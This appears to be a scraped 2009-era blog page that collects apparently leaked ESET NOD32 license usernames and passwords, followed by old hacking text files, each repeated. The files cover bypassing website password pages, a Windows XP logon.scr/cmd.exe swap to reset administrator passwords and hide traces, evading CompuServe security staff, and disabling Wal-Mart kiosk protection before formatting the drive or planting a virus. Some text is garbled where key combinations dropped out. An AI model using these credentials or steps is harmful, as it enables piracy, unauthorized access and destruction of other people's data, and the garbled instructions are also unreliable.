Username:EAV-24203323
Password:hxf7p7u76k
Username:EAV-23477463
Password:2xh2eefvcs
Username:EAV-24166916
Password:7mrmtv4akj
Username:EAV-24605599
Password:8ffjrc48b8
Username:EAV-24605596
Password:nm8fxprbjx
Username:EAV-12150852
Password:84sf5nvweh
Username:EAV-25213384
Password:ndc6phxshf
Username:EAV-25201067
Password:nbmf5rchdk
Username:EAV-25071078
Password:eksmtxcm55
Username:EAV-25071081
Password:2e2nmjnhud
Username:EAV-25071083
Password:752kfd28v8
Username:EAV-25071505
Password:6r7e27ddf8
Username:EAV-24605652
Password:6ehp76a254
Saturday, December 12, 2009
Username And Password With Expiry Date
ESS
Username: EAV-24816060
Password: 227pdasfxa
Expiry Date: 20.01.2010
Username: EAV-24816061
Password: 6hd2h7hxmu
Expiry Date: 20.01.2010
Username: EAV-24816062
Password: sb7sjehrve
Expiry Date: 20.01.2010
Username: EAV-24816097
Password: ns2jumfna7
Expiry Date: 20.01.2010
Username: EAV-24816110
Password: muckr4vkvp
Expiry Date: 20.01.2010
Username: EAV-24816114
Password: 8jct5da7u3
Expiry Date: 20.01.2010
Username: EAV-24816117
Password: np5ras2a5
Expiry Date: 20.01.2010
Username: EAV-23484341
Password: 3p3bt3ja54
Expiry Date: 23.01.2010
Username: EAV-25071078
Password: eksmtxcm55
Expiry Date: 25.01.2010
Username: EAV-25071081
Password: 2e2nmjnhud
Expiry Date: 25.01.2010
Username: EAV-25071083
Password: 752kfd28v8
Expiry Date: 25.01.2010
Username: EAV-25071505
Password: 6r7e27ddf8
Expiry Date: 25.01.2010
Username: EAV-25201067
Password: nbmf5rchdk
Expiry Date: 05.03.2010
Username: EAV-25213384
Password: ndc6phxshf
Expiry Date: 05.03.2010
Username: EAV-24816060
Password: 227pdasfxa
Expiry Date: 20.01.2010
Username: EAV-24816061
Password: 6hd2h7hxmu
Expiry Date: 20.01.2010
Username: EAV-24816062
Password: sb7sjehrve
Expiry Date: 20.01.2010
Username: EAV-24816097
Password: ns2jumfna7
Expiry Date: 20.01.2010
Username: EAV-24816110
Password: muckr4vkvp
Expiry Date: 20.01.2010
Username: EAV-24816114
Password: 8jct5da7u3
Expiry Date: 20.01.2010
Username: EAV-24816117
Password: np5ras2a5
Expiry Date: 20.01.2010
Username: EAV-23484341
Password: 3p3bt3ja54
Expiry Date: 23.01.2010
Username: EAV-25071078
Password: eksmtxcm55
Expiry Date: 25.01.2010
Username: EAV-25071081
Password: 2e2nmjnhud
Expiry Date: 25.01.2010
Username: EAV-25071083
Password: 752kfd28v8
Expiry Date: 25.01.2010
Username: EAV-25071505
Password: 6r7e27ddf8
Expiry Date: 25.01.2010
Username: EAV-25201067
Password: nbmf5rchdk
Expiry Date: 05.03.2010
Username: EAV-25213384
Password: ndc6phxshf
Expiry Date: 05.03.2010
Eset nod32 Free Key With Expiry Date
EAV Username: EAV-18186625 Password: 3e5dp5crkh
Expiry Date: 07.01.2010
Username: EAV-24677249 Password: nvdkhm8dhm
Expiry Date: 26.05.2010
Username: EAV-24807028 Password: vsep54exjr
Expiry Date: 29.05.2010
Username: EAV-24947364 Password: xsvh8bjf5r
Expiry Date: 02.06.2010
Username: EAV-24963867 Password: 2n6s6fs2me
Expiry Date: 03.06.2010
Username: EAV-25051293 Password: t6m33ke6ea
Expiry Date: 05.06.2010
Username: EAV-25125789 Password: 4skcttscjf
Expiry Date: 07.06.2010
Username: EAV-25188570 Password: mpxdbaxtr6
Expiry Date: 08.06.2010
Expiry Date: 07.01.2010
Username: EAV-24677249 Password: nvdkhm8dhm
Expiry Date: 26.05.2010
Username: EAV-24807028 Password: vsep54exjr
Expiry Date: 29.05.2010
Username: EAV-24947364 Password: xsvh8bjf5r
Expiry Date: 02.06.2010
Username: EAV-24963867 Password: 2n6s6fs2me
Expiry Date: 03.06.2010
Username: EAV-25051293 Password: t6m33ke6ea
Expiry Date: 05.06.2010
Username: EAV-25125789 Password: 4skcttscjf
Expiry Date: 07.06.2010
Username: EAV-25188570 Password: mpxdbaxtr6
Expiry Date: 08.06.2010
Hacking Password Protected Website's
Hacking Password Protected Website's By Pinglocalhost
************************
There are many ways to defeat java-script protected websites. Some are very simplistic, such as hitting
[ctl-alt-del ]when the password box is displayed, to simply turning offjava capability, which will dump you into the default page.You can try manually searching for other directories, by typing the directory name into the url address box of your browser, ie: you want access to www.target.com .
Try typing www.target.com/images .(almost ever y web site has an images directory) This will put you into the images directory,and give you a text list of all the images located there. Often, the title of an image will give you a clue to the name of another directory. ie: in www.target.com/images, there is a .gif named gamestitle.gif . There is a good chance then, that there is a 'games' directory on the site,so you would then type in www.target.com/games, and if it isa valid directory, you again get a text listing of all the files available there.
For a more automated approach, use a program like WEB SNAKE from anawave, or Web Wacker. These programs will create a mirror image of an entire web site, showing all director ies,or even mirror a complete server. They are indispensable for locating hidden files and directories.What do you do if you can't get past an opening "PasswordRequired" box? . First do an WHOIS Lookup for the site. In our example, www.target.com . We find it's hosted by www.host.com at 100.100.100. 1.
We then go to 100.100.100.1, and then launch \Web Snake, and mirror the entire server. Set Web Snake to NOT download anything over about 20K. (not many HTML pages are bigger than this) This speeds things up some, and keeps you from getting a lot of files and images you don't care about. This can take a long time, so consider running it right before bed time. Once you have an image of the entire server, you look through the directories listed, and find /target. When we open that directory, we find its contents, and all of its sub-directories listed. Let's say we find /target/games/zip/zipindex.html . This would be the index page that would be displayed had you gone through the password procedure, and allowed it to redirect you here.By simply typing in the url www.target.com/games/zip/zipindex.html you will be onthe index page and ready to follow the links for downloading.
*************************************************************
(DISCLAIMER)XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
The Info Above Is Lame!!!. I Dont Condone The Use Of This Document In A Malisous Manner. I Suggest That U Dont Do it But U Do What Ever U Want. I Will Not Be Responsible For Any Thing That Might Happen To U If U Use This. :)
************************
There are many ways to defeat java-script protected websites. Some are very simplistic, such as hitting
[ctl-alt-del ]when the password box is displayed, to simply turning offjava capability, which will dump you into the default page.You can try manually searching for other directories, by typing the directory name into the url address box of your browser, ie: you want access to www.target.com .
Try typing www.target.com/images .(almost ever y web site has an images directory) This will put you into the images directory,and give you a text list of all the images located there. Often, the title of an image will give you a clue to the name of another directory. ie: in www.target.com/images, there is a .gif named gamestitle.gif . There is a good chance then, that there is a 'games' directory on the site,so you would then type in www.target.com/games, and if it isa valid directory, you again get a text listing of all the files available there.
For a more automated approach, use a program like WEB SNAKE from anawave, or Web Wacker. These programs will create a mirror image of an entire web site, showing all director ies,or even mirror a complete server. They are indispensable for locating hidden files and directories.What do you do if you can't get past an opening "PasswordRequired" box? . First do an WHOIS Lookup for the site. In our example, www.target.com . We find it's hosted by www.host.com at 100.100.100. 1.
We then go to 100.100.100.1, and then launch \Web Snake, and mirror the entire server. Set Web Snake to NOT download anything over about 20K. (not many HTML pages are bigger than this) This speeds things up some, and keeps you from getting a lot of files and images you don't care about. This can take a long time, so consider running it right before bed time. Once you have an image of the entire server, you look through the directories listed, and find /target. When we open that directory, we find its contents, and all of its sub-directories listed. Let's say we find /target/games/zip/zipindex.html . This would be the index page that would be displayed had you gone through the password procedure, and allowed it to redirect you here.By simply typing in the url www.target.com/games/zip/zipindex.html you will be onthe index page and ready to follow the links for downloading.
*************************************************************
(DISCLAIMER)XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
The Info Above Is Lame!!!. I Dont Condone The Use Of This Document In A Malisous Manner. I Suggest That U Dont Do it But U Do What Ever U Want. I Will Not Be Responsible For Any Thing That Might Happen To U If U Use This. :)
hacking passwords
How to hack Windows XP Admin Passwords the easy way by Estyle, Jaoibh
and Azrael.
------------------------------------------------------------------------------
This hack will only work if the person that owns the machine
has no intelligence. This is how it works:
When you or anyone installs Windows XP for the first time your
asked to put in your username and up to five others.
Now, unknownst to a lot of other people this is the only place in
Windows XP that you can password the default Administrator Diagnostic
Account. This means that to by pass most administrators accounts
on Windows XP all you have to do is boot to safe mode by pressing F8
during boot up and choosing it. Log into the Administrator Account
and create your own or change the password on the current Account.
This only works if the user on setup specified a password for the
Administrator Account.
This has worked for me on both Windows XP Home and Pro.
-----------------------------------------------------------------------------
Now this one seems to be machine dependant, it works randomly(don't know why)
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work
on the welcome screen of a normal booted machine)
-----------------------------------------------------------------------------
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
-----------------------------------------------------------------------------
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Any updates, Errors, Suggestions or just general comments mail them to either
Estyle89@hotmail.com
jaoibh@hotmail.com
and Azrael.
------------------------------------------------------------------------------
This hack will only work if the person that owns the machine
has no intelligence. This is how it works:
When you or anyone installs Windows XP for the first time your
asked to put in your username and up to five others.
Now, unknownst to a lot of other people this is the only place in
Windows XP that you can password the default Administrator Diagnostic
Account. This means that to by pass most administrators accounts
on Windows XP all you have to do is boot to safe mode by pressing F8
during boot up and choosing it. Log into the Administrator Account
and create your own or change the password on the current Account.
This only works if the user on setup specified a password for the
Administrator Account.
This has worked for me on both Windows XP Home and Pro.
-----------------------------------------------------------------------------
Now this one seems to be machine dependant, it works randomly(don't know why)
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work
on the welcome screen of a normal booted machine)
-----------------------------------------------------------------------------
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
-----------------------------------------------------------------------------
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Any updates, Errors, Suggestions or just general comments mail them to either
Estyle89@hotmail.com
jaoibh@hotmail.com
Hacking Compuserve Infomation Service
[-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-]
[+]
[+] Hacking Compuserve Infomation Service
[+] ReVision 1.1
[+] By Shadow Lord, Esq.
[+]
[-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-]
Compuserve is a multiuser networked Pay by Hour service. But
this can be beat. At current rates, CIS (Compuserve) charges $6.50 for
300 baud
and $12.75 for 1200/2400 baud, 9600 can only be accessed by
Hardwired clients. Thus you see the need for this file. At the time
this was written, all information in this file was correct. Enough of
this, on to the file.
Logging on to Compuserve
------------------------
In order to create a Ziff Account on CompuServe you need ...
1) A Telenet, Tymnet, Or CIS Port
2) A Credit Card
3) Above the IQ of a houseplant
That is all you need, I know for some of you the 3rd one is
tough, but try. Ok, you have all this, call your local port, logon to
CIS, then you should get a [User ID:] Prompt, type [177000,5000], this
is the Ziff PCMagnet User Id. Now, if you entered it correctly, then you
should get the [Password:] Prompt, at This type [Pc*Magnet]. You will
next be givena Welcome Message, then, you will get yet another Prompt. It
should ask you for your Agreement Number, type [Z10D8810]. That is the
end of the prompts. Here's where the IQ of above a houseplant comes into
play.You now have to think. It will ask you various questions,
ranging from your country to your Social Security number. Answer them
however you want, but I wouldn't use your real info. If you want the
second password (Needed to access some things), you will have to give an
address where you can drop by and pick it up. Some ideas are sending to
your neighbors,but use your last name, it will end up at your house. That
isn't the safest thing. Or you can rent a Post Office box for about 6
months. Once you have done all this, and answer the questions, and
read the propoganda, you will see [Entering PCMagnet]. You are done.
So what do I do Now?
--------------------
Ok, if you get this far, you have the IQ of above your fern.
You can go one of two places, CIS or PCMagnet (Where you are now).
You can stay in PCMagnet, but there isn't much there. So, I would
type [Go Cis] This will bring you to Compuserve. Once on CIS, you can do
many thing, ranging from downloading files, to real time chat on forums
to online games.
Project Numbers
---------------
Some times I will refer to the word Project Number, that is
the same thing as a User ID. Excluding the digits after the comma. If
you see an ID that is [72311,27] then the that User ID's Project
Number is[72311]. Simple Eh?
[70000,xxx] - Security Personel or Important Employes
[70003,xxx] - Complementary Account
[70004,xxx] - CompuServe Employe
[70005,xxx] - Radio Shack *Demo* Account. (R Flagged)
[70006,xxx] - Normal Compuserve Employe (Sometimes Wizards)
[70007,xxx] - Complementary Account
[70000,753] - Dan'l, Ghost, or Dan Piskur
[70006,522] - LooLoo, Myrtl, or Patrica Phelps
The [70000] Projects are very interesting accounts, they have
very high powered Flags. (Incedently, a Flag is an option set on
the user account) These accounts have the capability to 'Hang you up'
from the system. These are the only such account that can do so.
But as you will see, they can make things very difficult without
hanging you up. A non [70000] project can get you 'Hung up', they
have to call Customer Service and tell them to Initilize your Port.
Thus hanging you up. But only the [70000] project can suspend your
account. The main person to look out for is [70000,753 - Dan Piskur]
he is the Head of Security. His job is to find you and suspend your
account. He does not hesitate to do this.
The [70006] is also another intersting Project. These
accounts are USUALLY 'Wizards' (A Wizard is a user with very high access
Flags) That does not mean all [70006,xxx] are Wizards, but most are.
So if you see the ID [70006,522] that is a very high accessed
Wizard, she usually uses the name [*LooLoo*] she has Sysop Flags on
all forums, where most Sysops only have it on their specific
forum. She also has the job of finding you , but she must report to
Dan'l to get you suspended. But don't take her for granted, she has
the C Flag, she can stop you from talking, you can function
normally,but you can not talk in whatever Confrence Area she has
/gag'ed you on. (/gag is the Command to stop you from talking) She then
reports the User ID to Dan'l. He suspends you. Case Closed.
Invisable Sysops
----------------
Sysops with the C Flag can make them selves invisable while
in Confrence. But this has one bug in it. If you do a [/ust]
while in Confrence, the Inviso sysop will not appear, but if you
exit [/ex] and do a [ust] at the ! Prompt, they will appear.
Another way is to count the members it say are in CO at the Forum Top
menu [4. Confrencing (9 Participating)] and you go into CO,
and do a ust, count the people, in all channels and Tlk, if there
is an Inviso, there will be one less person when you count the
Ust.Maybe more if there are more Inviso's.
Glossary
--------
Flags : Specific Options on your account.
-C Flag : Specific Account Option - Gives the use of the
/wi commands at CO. (Syntax [/wi ?])
Free Flag : Specific Account Option - Makes time in a
specific
forum free. (Ususally 70003 and 70007)
-L Flag : Specific Account Option - Locks a your account
out of a forum.
-R Flag : Specific Account Option - Read Only, means that
the account can not write to the system, read
and download only. (See also Radio Shack Demo)
Gag'ed : An account flag, if you have this flag, you can
not speak while you are in CO or CB. You can not
be seen in the User Listing, except by yourself.
A quick test for this flags is Paging yourself.
If you are gag'ed, there are three ways of
getting
rid of this flag, but you have no control over
them
- 1 - Have the Sysop who gag'ed you ungag you.
Only the sysop who gag'ed you can Ungag
you!
- 2 - Wait till 5am, when the system resets and
it will clear the flag. (Useful only on
CB)
- 3 - The best. When everyone leaves the CO you
were in, your flag will automaticly clear.
[Note. When you are gag'ed, you are only gag'ed
in that specific Forum/Co]
Inviso : When a Sysop is Invisable to all others, but
other
sysops. (See also Invisable Sysops)
Project No: The Prefix of the User ID is sometimes called
a Project Number.
Wizard : An Account with capabilites of incredible
capacity.
[Usually 70000 or 70006] (Not always)
Credits
-------
Some of this information was taken from a Phrack File, but
98% of it is mine. So please keep it as it is. I would like to thank
the following people for help.
Rigor Mortis : For his help with Compuserve when I started
out.
Matt E. : (A CIS Forum Sysop) for his explaination of
the
project numbers, and security flags.
Call
----
P-80 Systems - [304/744-2253]
RipCo - [312/528-5020]
[+]
[+] Hacking Compuserve Infomation Service
[+] ReVision 1.1
[+] By Shadow Lord, Esq.
[+]
[-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-] [-]
Compuserve is a multiuser networked Pay by Hour service. But
this can be beat. At current rates, CIS (Compuserve) charges $6.50 for
300 baud
and $12.75 for 1200/2400 baud, 9600 can only be accessed by
Hardwired clients. Thus you see the need for this file. At the time
this was written, all information in this file was correct. Enough of
this, on to the file.
Logging on to Compuserve
------------------------
In order to create a Ziff Account on CompuServe you need ...
1) A Telenet, Tymnet, Or CIS Port
2) A Credit Card
3) Above the IQ of a houseplant
That is all you need, I know for some of you the 3rd one is
tough, but try. Ok, you have all this, call your local port, logon to
CIS, then you should get a [User ID:] Prompt, type [177000,5000], this
is the Ziff PCMagnet User Id. Now, if you entered it correctly, then you
should get the [Password:] Prompt, at This type [Pc*Magnet]. You will
next be givena Welcome Message, then, you will get yet another Prompt. It
should ask you for your Agreement Number, type [Z10D8810]. That is the
end of the prompts. Here's where the IQ of above a houseplant comes into
play.You now have to think. It will ask you various questions,
ranging from your country to your Social Security number. Answer them
however you want, but I wouldn't use your real info. If you want the
second password (Needed to access some things), you will have to give an
address where you can drop by and pick it up. Some ideas are sending to
your neighbors,but use your last name, it will end up at your house. That
isn't the safest thing. Or you can rent a Post Office box for about 6
months. Once you have done all this, and answer the questions, and
read the propoganda, you will see [Entering PCMagnet]. You are done.
So what do I do Now?
--------------------
Ok, if you get this far, you have the IQ of above your fern.
You can go one of two places, CIS or PCMagnet (Where you are now).
You can stay in PCMagnet, but there isn't much there. So, I would
type [Go Cis] This will bring you to Compuserve. Once on CIS, you can do
many thing, ranging from downloading files, to real time chat on forums
to online games.
Project Numbers
---------------
Some times I will refer to the word Project Number, that is
the same thing as a User ID. Excluding the digits after the comma. If
you see an ID that is [72311,27] then the that User ID's Project
Number is[72311]. Simple Eh?
[70000,xxx] - Security Personel or Important Employes
[70003,xxx] - Complementary Account
[70004,xxx] - CompuServe Employe
[70005,xxx] - Radio Shack *Demo* Account. (R Flagged)
[70006,xxx] - Normal Compuserve Employe (Sometimes Wizards)
[70007,xxx] - Complementary Account
[70000,753] - Dan'l, Ghost, or Dan Piskur
[70006,522] - LooLoo, Myrtl, or Patrica Phelps
The [70000] Projects are very interesting accounts, they have
very high powered Flags. (Incedently, a Flag is an option set on
the user account) These accounts have the capability to 'Hang you up'
from the system. These are the only such account that can do so.
But as you will see, they can make things very difficult without
hanging you up. A non [70000] project can get you 'Hung up', they
have to call Customer Service and tell them to Initilize your Port.
Thus hanging you up. But only the [70000] project can suspend your
account. The main person to look out for is [70000,753 - Dan Piskur]
he is the Head of Security. His job is to find you and suspend your
account. He does not hesitate to do this.
The [70006] is also another intersting Project. These
accounts are USUALLY 'Wizards' (A Wizard is a user with very high access
Flags) That does not mean all [70006,xxx] are Wizards, but most are.
So if you see the ID [70006,522] that is a very high accessed
Wizard, she usually uses the name [*LooLoo*] she has Sysop Flags on
all forums, where most Sysops only have it on their specific
forum. She also has the job of finding you , but she must report to
Dan'l to get you suspended. But don't take her for granted, she has
the C Flag, she can stop you from talking, you can function
normally,but you can not talk in whatever Confrence Area she has
/gag'ed you on. (/gag is the Command to stop you from talking) She then
reports the User ID to Dan'l. He suspends you. Case Closed.
Invisable Sysops
----------------
Sysops with the C Flag can make them selves invisable while
in Confrence. But this has one bug in it. If you do a [/ust]
while in Confrence, the Inviso sysop will not appear, but if you
exit [/ex] and do a [ust] at the ! Prompt, they will appear.
Another way is to count the members it say are in CO at the Forum Top
menu [4. Confrencing (9 Participating)] and you go into CO,
and do a ust, count the people, in all channels and Tlk, if there
is an Inviso, there will be one less person when you count the
Ust.Maybe more if there are more Inviso's.
Glossary
--------
Flags : Specific Options on your account.
-C Flag : Specific Account Option - Gives the use of the
/wi commands at CO. (Syntax [/wi ?])
Free Flag : Specific Account Option - Makes time in a
specific
forum free. (Ususally 70003 and 70007)
-L Flag : Specific Account Option - Locks a your account
out of a forum.
-R Flag : Specific Account Option - Read Only, means that
the account can not write to the system, read
and download only. (See also Radio Shack Demo)
Gag'ed : An account flag, if you have this flag, you can
not speak while you are in CO or CB. You can not
be seen in the User Listing, except by yourself.
A quick test for this flags is Paging yourself.
If you are gag'ed, there are three ways of
getting
rid of this flag, but you have no control over
them
- 1 - Have the Sysop who gag'ed you ungag you.
Only the sysop who gag'ed you can Ungag
you!
- 2 - Wait till 5am, when the system resets and
it will clear the flag. (Useful only on
CB)
- 3 - The best. When everyone leaves the CO you
were in, your flag will automaticly clear.
[Note. When you are gag'ed, you are only gag'ed
in that specific Forum/Co]
Inviso : When a Sysop is Invisable to all others, but
other
sysops. (See also Invisable Sysops)
Project No: The Prefix of the User ID is sometimes called
a Project Number.
Wizard : An Account with capabilites of incredible
capacity.
[Usually 70000 or 70006] (Not always)
Credits
-------
Some of this information was taken from a Phrack File, but
98% of it is mine. So please keep it as it is. I would like to thank
the following people for help.
Rigor Mortis : For his help with Compuserve when I started
out.
Matt E. : (A CIS Forum Sysop) for his explaination of
the
project numbers, and security flags.
Call
----
P-80 Systems - [304/744-2253]
RipCo - [312/528-5020]
Hacking Wal-Mart Computers
HACKING THE WAL-MART ARMORGUARD by:BenH(DaRkNeSs)
COMPUTER PROTECTION SYSTEM.
***NOTE***
To use this, you must have a system disk (i.e. a disk that has been
formatted using [format a: /s]) in 3.5" format under Windows 95, because that
is what they sell all of their computers with.
***NOTE***
In this file, instructions to be input into the computer are surrounded
by [ and ]. Keys are surrounded by < and >. So if I say "hit [-] I
mean to hold down the control button and hit F1.
The armorguard is a program that prevents you from writing to the
directories, changing the attributes of files, and deleting files. It
basically prevents you from doing anything cool.
The first thing to do is to go into Wal-Mart. Now, go to the
computer section and turn off the screen saver. Shut down as many apps as
you can with the [--] and then choosing a program and
hitting enter. You cannot simply do this to the ArmorGuard program.
The next thing to do is to go to the DOS PROMPT. Most Wal-Marts
take the mouse ball out of all of the display mice to make it harder to
control the system. If you are adept at putting your finger inside the mouse
and controlling it that way, fine. Otherwise, just hit [--].
This activates the start menu. Select "Programs", hit enter, then go down to
near the bottom of the "Programs" menu and select "MS-DOS PROMPT". Hit enter.
Now you are in a DOS window and in the C:\Windows directory. Hit
[cd..] and then hit [fdisk /mbr], which restores the master boot record,
preventing the password prompt from coming up when you reset the computer.
Now just hit [--] twice (once gets you to task manager,
twice reboots) and wait. When you see
Starting Windows 95...
on the screen, hit [] really fast just once, then choose "Verify
each step" (or something to that effect), usually choice number 4. It will
give you an A: prompt and say "Please give the path of your command interpreter,
i.e. C:\WINDOWS\COMMAND.COM". At this point, put the system disk you have
made in the drive and hit [A:\COMMAND.COM]. Say "Yes" to everything except
the following:
Log this bootup? (Bootlog.txt)? (y/n)
C:\armguard.exe? (y/n)
(***OR ANYTHING ELSE STARTING WITH "C:\ARM", LIKE "C:\ARMOR",
for instance.)
If you have done this right, ARMGUARD SHOULDN'T COME UP AT ALL. If
it does, hit "command prompt only" instead of "Verify each step" and then
specify C:\AUTOEXEC.BAT and C:\CONFIG.SYS if it asks for the configuration
and the startup file. (IN THE OPPOSITE ORDER. CONFIG.SYS IS THE CONFIG FILE,
AUTOEXEC.BAT IS THE STARTUP FILE.) Then immediately hit [] and it will
give you step-by-step confirmation for each item. See above for the ones
to say no to. Then you want to hit
[C:\WINDOWS\COMMAND\EDIT.COM C:\WINDOWS\WIN.INI]
and the DOS edit program will come up. Choose "Search" and hit "Find" and
then tell it to find ARM and make sure it's NOT on match whole word only.
Delete any line with ARM in it that looks like a part of ArmorGuard. This
should prevent it from coming up on Windows.
*******IF NONE OF THIS WORKS, YOU HAVE TO TAKE THE READ-ONLY AND ARCHIVE
ATTRIBUTES OFF OF THE WIN.INI, SYSTEM.INI, AUTOEXEC.BAT, AND CONFIG.SYS FILES
BY HITTING [ATTRIB -A -R (c:\WHATEVERFILE.YOUWANTTODOTHISTO)]
*******I'D ALSO RECOMMEND EDITING THE AUTOEXEC.BAT FILE TO PREVENT ARMGUARD
FROM EVER COMING UP AGAIN.
****************THINGS TO DO AFTER HACKING ARMORGUARD***********
Hmmm....
USE YOUR IMAGINATION!
Think of this: Hit "shut down in MS-DOS mode" or start up in MS-DOS mode,
put your boot disk in drive a: and hit the following commands
[A:]
[FORMAT C:]
and then confirm this. You have just started the permanent erasing of
EVERYTHING on the hard drive. You can also do some other cool stuff with
it too, just basically IF YOU WOULD DO IT TO SOMEONE YOU HATE, DO IT TO
WAL-MART. Personally, I'd think that INSTEAD OF ERASING THE HARD DRIVE, I'D
WRITE A VIRUS AND PUT IT ON THE COMPUTER. THAT WOULD REALLY BE MORE FUN.
JUST STORE IT ON A FLOPPY AND COPY IT.
HAVE FUN, DON'T GET CAUGHT.
SINCERELY,
DaRkNeSs
COMPUTER PROTECTION SYSTEM.
***NOTE***
To use this, you must have a system disk (i.e. a disk that has been
formatted using [format a: /s]) in 3.5" format under Windows 95, because that
is what they sell all of their computers with.
***NOTE***
In this file, instructions to be input into the computer are surrounded
by [ and ]. Keys are surrounded by < and >. So if I say "hit [
mean to hold down the control button and hit F1.
The armorguard is a program that prevents you from writing to the
directories, changing the attributes of files, and deleting files. It
basically prevents you from doing anything cool.
The first thing to do is to go into Wal-Mart. Now, go to the
computer section and turn off the screen saver. Shut down as many apps as
you can with the [
hitting enter. You cannot simply do this to the ArmorGuard program.
The next thing to do is to go to the DOS PROMPT. Most Wal-Marts
take the mouse ball out of all of the display mice to make it harder to
control the system. If you are adept at putting your finger inside the mouse
and controlling it that way, fine. Otherwise, just hit [
This activates the start menu. Select "Programs", hit enter, then go down to
near the bottom of the "Programs" menu and select "MS-DOS PROMPT". Hit enter.
Now you are in a DOS window and in the C:\Windows directory. Hit
[cd..] and then hit [fdisk /mbr], which restores the master boot record,
preventing the password prompt from coming up when you reset the computer.
Now just hit [
twice reboots) and wait. When you see
Starting Windows 95...
on the screen, hit [
each step" (or something to that effect), usually choice number 4. It will
give you an A: prompt and say "Please give the path of your command interpreter,
i.e. C:\WINDOWS\COMMAND.COM". At this point, put the system disk you have
made in the drive and hit [A:\COMMAND.COM]. Say "Yes" to everything except
the following:
Log this bootup? (Bootlog.txt)? (y/n)
C:\armguard.exe? (y/n)
(***OR ANYTHING ELSE STARTING WITH "C:\ARM", LIKE "C:\ARMOR",
for instance.)
If you have done this right, ARMGUARD SHOULDN'T COME UP AT ALL. If
it does, hit "command prompt only" instead of "Verify each step" and then
specify C:\AUTOEXEC.BAT and C:\CONFIG.SYS if it asks for the configuration
and the startup file. (IN THE OPPOSITE ORDER. CONFIG.SYS IS THE CONFIG FILE,
AUTOEXEC.BAT IS THE STARTUP FILE.) Then immediately hit [
give you step-by-step confirmation for each item. See above for the ones
to say no to. Then you want to hit
[C:\WINDOWS\COMMAND\EDIT.COM C:\WINDOWS\WIN.INI]
and the DOS edit program will come up. Choose "Search" and hit "Find" and
then tell it to find ARM and make sure it's NOT on match whole word only.
Delete any line with ARM in it that looks like a part of ArmorGuard. This
should prevent it from coming up on Windows.
*******IF NONE OF THIS WORKS, YOU HAVE TO TAKE THE READ-ONLY AND ARCHIVE
ATTRIBUTES OFF OF THE WIN.INI, SYSTEM.INI, AUTOEXEC.BAT, AND CONFIG.SYS FILES
BY HITTING [ATTRIB -A -R (c:\WHATEVERFILE.YOUWANTTODOTHISTO)]
*******I'D ALSO RECOMMEND EDITING THE AUTOEXEC.BAT FILE TO PREVENT ARMGUARD
FROM EVER COMING UP AGAIN.
****************THINGS TO DO AFTER HACKING ARMORGUARD***********
Hmmm....
USE YOUR IMAGINATION!
Think of this: Hit "shut down in MS-DOS mode" or start up in MS-DOS mode,
put your boot disk in drive a: and hit the following commands
[A:]
[FORMAT C:]
and then confirm this. You have just started the permanent erasing of
EVERYTHING on the hard drive. You can also do some other cool stuff with
it too, just basically IF YOU WOULD DO IT TO SOMEONE YOU HATE, DO IT TO
WAL-MART. Personally, I'd think that INSTEAD OF ERASING THE HARD DRIVE, I'D
WRITE A VIRUS AND PUT IT ON THE COMPUTER. THAT WOULD REALLY BE MORE FUN.
JUST STORE IT ON A FLOPPY AND COPY IT.
HAVE FUN, DON'T GET CAUGHT.
SINCERELY,
DaRkNeSs
Hacking Webpages
Chapter 4: Hacking Webpages
Getting the Password File Through FTP
Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password. This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
